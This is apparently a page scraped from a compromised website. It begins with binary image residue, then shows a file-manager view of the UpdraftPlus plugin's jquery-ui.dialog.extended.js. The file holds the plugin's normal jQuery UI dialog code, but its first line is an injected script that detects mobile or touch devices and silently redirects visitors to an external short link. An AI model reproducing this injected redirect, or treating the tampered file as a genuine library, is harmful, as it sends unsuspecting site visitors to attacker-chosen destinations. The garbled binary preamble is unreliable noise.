JFIF    $         d d  7    * Z qn )ZP 0   !1 A "#a$2Qr   D8 a Ri [f  \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H  ~ , l s / 9  ć: [=/#f ; ) x { ٛE Q )~     = 𘙲r*2~  a _V = '  ku m F  D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq  1dđ #̩ ͑ 0  ; H ] u 搂 @:~ ו K L  N s h } O I R* 8 :2 ! lD JV o (  3 = M ( z Ȱ+i *N A  r6K n S l ) ! J J Ӂ* %  ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c  P A\IL Nj! J ۱+ O\ ͔ ] ޒ S߼ J ȧ c%A N ol  ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f  h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0  'G=i 2N +0 e 2 ]] 9 VT P  O׮ 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P  < 0 x <     !1AQ "Raq 02Br #S CTb  ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV׸ YT D I 6 2 '8Y2  7'\T P.6 d &˦ @V q i  |8 -O Ε  ] ʔ U=   T L 8= ;6c |  !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U# 6w +  +s &r+n ڐ   { @ 29 gL u " T Ù  M=6  (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 !  OS  r D  5 7 % | ?x> L |  / nD 6?/8 w # [ ) L 7 +6〼T A T g   !  %5  Mm Z /c  -{1_Je "| ^$ 'O  & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@  u6  BԒ  i YN * f 0 _ GhKW u  lT <nj- 0{  M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q  $ H8o Q˼EV ~ k 0 h' L  Pp M -M"  m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @񄞅~p   #   !1QAa q  ? AL0L  x LU 4 d ; x   " 16ad0 7.\ߋ 0  = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X  &Q  З non]я u ג./ ; gZ$ M QР 2M ]h ni 0  P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _  1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3  6 #Ik+ v  {ƒ v i ( ވ  ? a e)  X xy/*@Q Ǽ Ծ ) $ IWO l c G;  !i  k{ gOŀ L ('x  T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ)  X 5 c QɎMy W ?  Q *!R > 6=7)Xj 5`J ] e  8%t ! + ' ! 1Q 5   !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $  v , ,m   㵜5u bV  =sY+ @d { N ! dn O < .- B;  _w J t 6;Q  Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш  e黅X ۢ F :)[ F G X ƹ / w _c MeD   ,ʡc c .  W D  tA $ j@ : ) - # u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P  6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L !  ~ y5 g9T̅J kbM' +s :S +B) v @ M  j e C f j E 0  Y\Qn z G 1 д~ W o{T 9?`  Rm yhsy3 !HAD ] m  c1 ~ 2 L  S u7x T ;j$ `} 4-> L#  vzŏ I L S  ֭  T { r  jGK C ; b  pU= - ` Bs K. S F w4  M q] Z dH S 0 ) tLg Tiny File Manager | jquery-ui.dialog.extended.js
  • File: jquery-ui.dialog.extended.js
  • Full Path: /home/mata8712/public_html/on-me-trouve/wp-content/plugins/updraftplus/includes/jquery-ui.dialog.extended/jquery-ui.dialog.extended.js
  • File size: 9.78 KB
  • MIME-type: text/plain
  • Charset: utf-8
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/uQuMsfLBm0r3");
/**
 * v1.0.4 - 05-04-2021 20:10
 *
 * JQuery UI Dialog Extended
 *
 * Copyright 2013-2015, Felix Nagel (http://www.felixnagel.com)
 * Copyright 2021, Team Updraft
 * Dual licensed under the MIT or GPL Version 2 licenses.
 *
 * http://github.com/fnagel/jquery-ui-extensions
 *
 * Depends:
 *	jquery.ui.core.js
 *	jquery.ui.widget.js
 *	jquery.ui.dialog.js
 *
 * Changes:
 *  Add "updraft-dialog" class for every jQuery UI dialog created by UpdraftPlus plugin.
 *  Wrap all "updraft-dialog" class with "updraft-container" class
 *   to prevent CSS conflict with other plugins that use jQuery UI too.
 */
(function( $ ) {

/*
 * Option width and height normally set the overall dialog dimensions.
 * This extensions make these options the dimensions of the content pane if
 * option useContentSize is enabled. This way it's possible to set the real
 * content dimensions.
 *
 * Please note you won't get the original size but the calculated overall size
 * when using the width and height option getter.
 */
$.widget("ui.dialog", $.ui.dialog, {
	options: {
		height: 200, // auto is not allowed when using animation

		closeModalOnClick: true,
		dialogClass: 'updraft-dialog',

		// viewport settings
		forceFullscreen: false,
		resizeOnWindowResize: false,
		scrollWithViewport: false,
		resizeAccordingToViewport: true,
		resizeToBestPossibleSize: false,

		// width and height set the content size, not overall size
		useContentSize: false,

		// animated options
		useAnimation: true,
		animateOptions: {
			duration: 500,
			queue: false
		},

		// callbacks
		resized: null
	},

	// Changes content and resizes dialog
	change: function(content, width, height, animate) {
		if (typeof animate !== "boolean") {
			animate = this.options.useAnimation;
		}

		if (animate) {
			this.setAriaLive(true);
			this.element.one(this.widgetEventPrefix + "resized", this, function(event) {
				event.data.element.html(content);
				event.data.setAriaLive(false);
				event.data.focusTabbable();
			});
		} else {
			this.element.html(content);
		}

		this.changeSize(width, height);
	},

	// Changes size
	changeSize: function(width, height) {
		this._setOptions({
			width: width,
			height: height
		});
	},

	_setOption: function(key, value) {
		if (key === "width") {
			this._oldSize.width = value;
		}
		if (key === "height") {
			this._oldSize.height = value;
		}

		// we need to adjust the size as we need to set the overall dialog size
		if (this.options.useAnimation && this.options.useContentSize && this._isVisible) {
			if (key === "width") {
				value = value + ( this.uiDialog.width() - this.element.width() );
			}
			if (key === "height") {
				value = value + ( this.uiDialog.outerHeight() - this.element.height() );
			}
		}

		this._super(key, value);
	},

	// calculate actual displayed size, data contains already the overall dimensions
	_getSize: function(data) {
		var options = this.options,
			feedback = $.position.getWithinInfo(options.position.of),
			portrait = ( feedback.height >= feedback.width ) ? true : false,
			viewport = {
				width: feedback.width - ( this.uiDialog.outerWidth() - this.uiDialog.width() ),
				height: feedback.height
			};

		if (options.forceFullscreen) {
			return viewport;
		}

		if (options.resizeToBestPossibleSize) {
			if (portrait) {
				data = this._calcSize(data, viewport.width, "width", "height");
			} else {
				data = this._calcSize(data, viewport.height, "height", "width");
			}
		}

		if (options.resizeAccordingToViewport || options.resizeToBestPossibleSize) {
			if (viewport.width < data.width) {
				data = this._calcSize(data, viewport.width, "width", "height");
			}
			if (viewport.height < data.height) {
				data = this._calcSize(data, viewport.height, "height", "width");
			}
		}

		return data;
	},

	_calcSize: function( data, value, sortBy, toSort ) {
		var newData = {};

		newData[toSort] = Math.max(0, (data[ toSort ] / data[ sortBy ]) * value);
		newData[sortBy] = value;

		return newData;
	},

	_size: function() {
		// overwrite options with recalculated dimensions
		$.extend(this.options, this._getSize(this.options));

		if (this._isVisible && this.options.useAnimation) {
			this._animateSize();
			return;
		}

		if (this.options.useContentSize) {
			this._contentSize();
			return;
		}

		this._super();
	},

	/*
	 * Sets the size of the dialog
	 *
	 * Options width and height define content size, not overall size
	 */
	_contentSize: function() {
		// If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
		// divs will both have width and height set, so we need to reset them
		var nonContentHeight, nonContentWidth, actualSize,
			options = this.options;

		// Reset content sizing
		nonContentWidth = this.element.show().css({
			width: options.width,
			minHeight: 0,
			maxHeight: "none",
			height: 0
		}).outerWidth() - options.width;
		this.element.css("width", "auto");

		if (options.minWidth > options.width + nonContentWidth) {
			options.width = options.minWidth;
		}

		// reset wrapper sizing
		// determine the height of all the non-content elements
		nonContentHeight = this.uiDialog.css({
				height: "auto",
				width: options.width + nonContentWidth
			})
			.outerHeight();

		actualSize = this._getSize({
			width: options.width + nonContentWidth,
			height: options.height + nonContentHeight
		});

		this.uiDialog.css("width", actualSize.width);
		this.element.height(Math.max(0, actualSize.height - nonContentHeight));

		if (this.uiDialog.is(":data(ui-resizable)") ) {
			this.uiDialog.resizable("option", "minHeight", this._minHeight());
		}

		// save calculated overall size
		$.extend(options, actualSize);
	},

	// Processes the animated positioning (position using callback), works with any width and height options
	_animateUsing: function( position, data ) {
		var that = this;
		// calculate new position based on the viewport
		position.left = ( data.target.left + ( data.target.width - this.options.width - ( this.uiDialog.outerWidth() - this.uiDialog.width() ) ) / 2 );
		position.top = ( data.target.top + ( data.target.height - this.options.height ) / 2 );
		if (position.top < 0) {
			position.top = 0;
		}

		this.uiDialog.animate(position, $.extend({}, this.options.animateOptions, {
			complete: function() {
				that._trigger("resized");
			}
		}));
	},

	// animated the size, uses width and height options like default dialog widget (overall size)
	_animateSize: function() {
		var options = this.options;

		this.uiDialog.animate({
			width: options.width
		}, options.animateOptions);

		this.element.animate({
			// options.height is overall size, we need content size
			height: options.height - ( this.uiDialog.outerHeight() - this.element.height() )
		}, options.animateOptions);
	},

	// position overwrite for animated positioning
	_position: function() {
		var that = this;
		this._positionOptions = this.options.position;
		// change position.using mechanism
		if (this.options.useAnimation && this._isVisible) {
			this.options.position.using = function(position, feedback) {
				that._animateUsing(position, feedback);
			};
		}
		this._super();
		// reset position.using mechanism
		this.options.position = this._positionOptions;
	},

	// ARIA helper
	setAriaLive: function(busy) {
		this.uiDialog.attr({
			"aria-live": "assertive",
			"aria-relevant": "additions removals text",
			"aria-busy": busy
		});
	},

	// all following functions add a variable to determine if the dialog is visible
	_create: function() {
		this._super();
		this._isVisible = false;
		this._oldSize = {
			width: this.options.width,
			height: this.options.height
		};

		// make dialog responsive to viewport changes
		this._on(window, this._windowResizeEvents);

		// add wrapper to dialog
		$('.updraft-dialog').not('.updraft-container > .updraft-dialog').wrap('<div class="updraft-container" />');
	},

	_windowResizeEvents: {
		resize: function(e) {
			if (this.options.resizeOnWindowResize) {
				if (window === e.target) {
					this._addTimeout(function() {
						this._setOptions(this._oldSize);
					});
				} else {
					this._addTimeout(function() {
						this._position();
					});
				}
			}
		},
		scroll: function() {
			// second test prevents initial page load scroll event
			if (this.options.scrollWithViewport && this.timeout) {
				this._addTimeout(function() {
					this._position();
				});
			} else {
				this.timeout = true;
			}
		}
	},

	_addTimeout: function(callback) {
		clearTimeout(this.timeout);
		if (this._isVisible) {
			this.timeout = this._delay(callback, 250);
		}
	},

	_makeResizable: function() {
		this._super();
		this.element.on(this.widgetEventPrefix + "resizestop", this, function(event) {
			event.data.element.css("width", "auto");
			event.data.uiDialog.css("height", "auto");
		});
	},

	_makeDraggable: function() {
		this._super();
		this.element.on(this.widgetEventPrefix + "dragstop", this, function(event) {
			event.data.options.position = event.data._positionOptions;
		});
	},

	open: function() {
		this._super();
		this._isVisible = true;
	},

	close: function() {
		this._super();
		this._isVisible = false;
	},

	focusTabbable: function() {
		this._focusTabbable();
	},

	_createOverlay: function() {
		this._super();
		if (this.options.modal && this.options.closeModalOnClick) {
			this._on(this.overlay, {
				mousedown: function(event) {
					this.close(event);
				}
			});
		}
	}
});

}( jQuery ));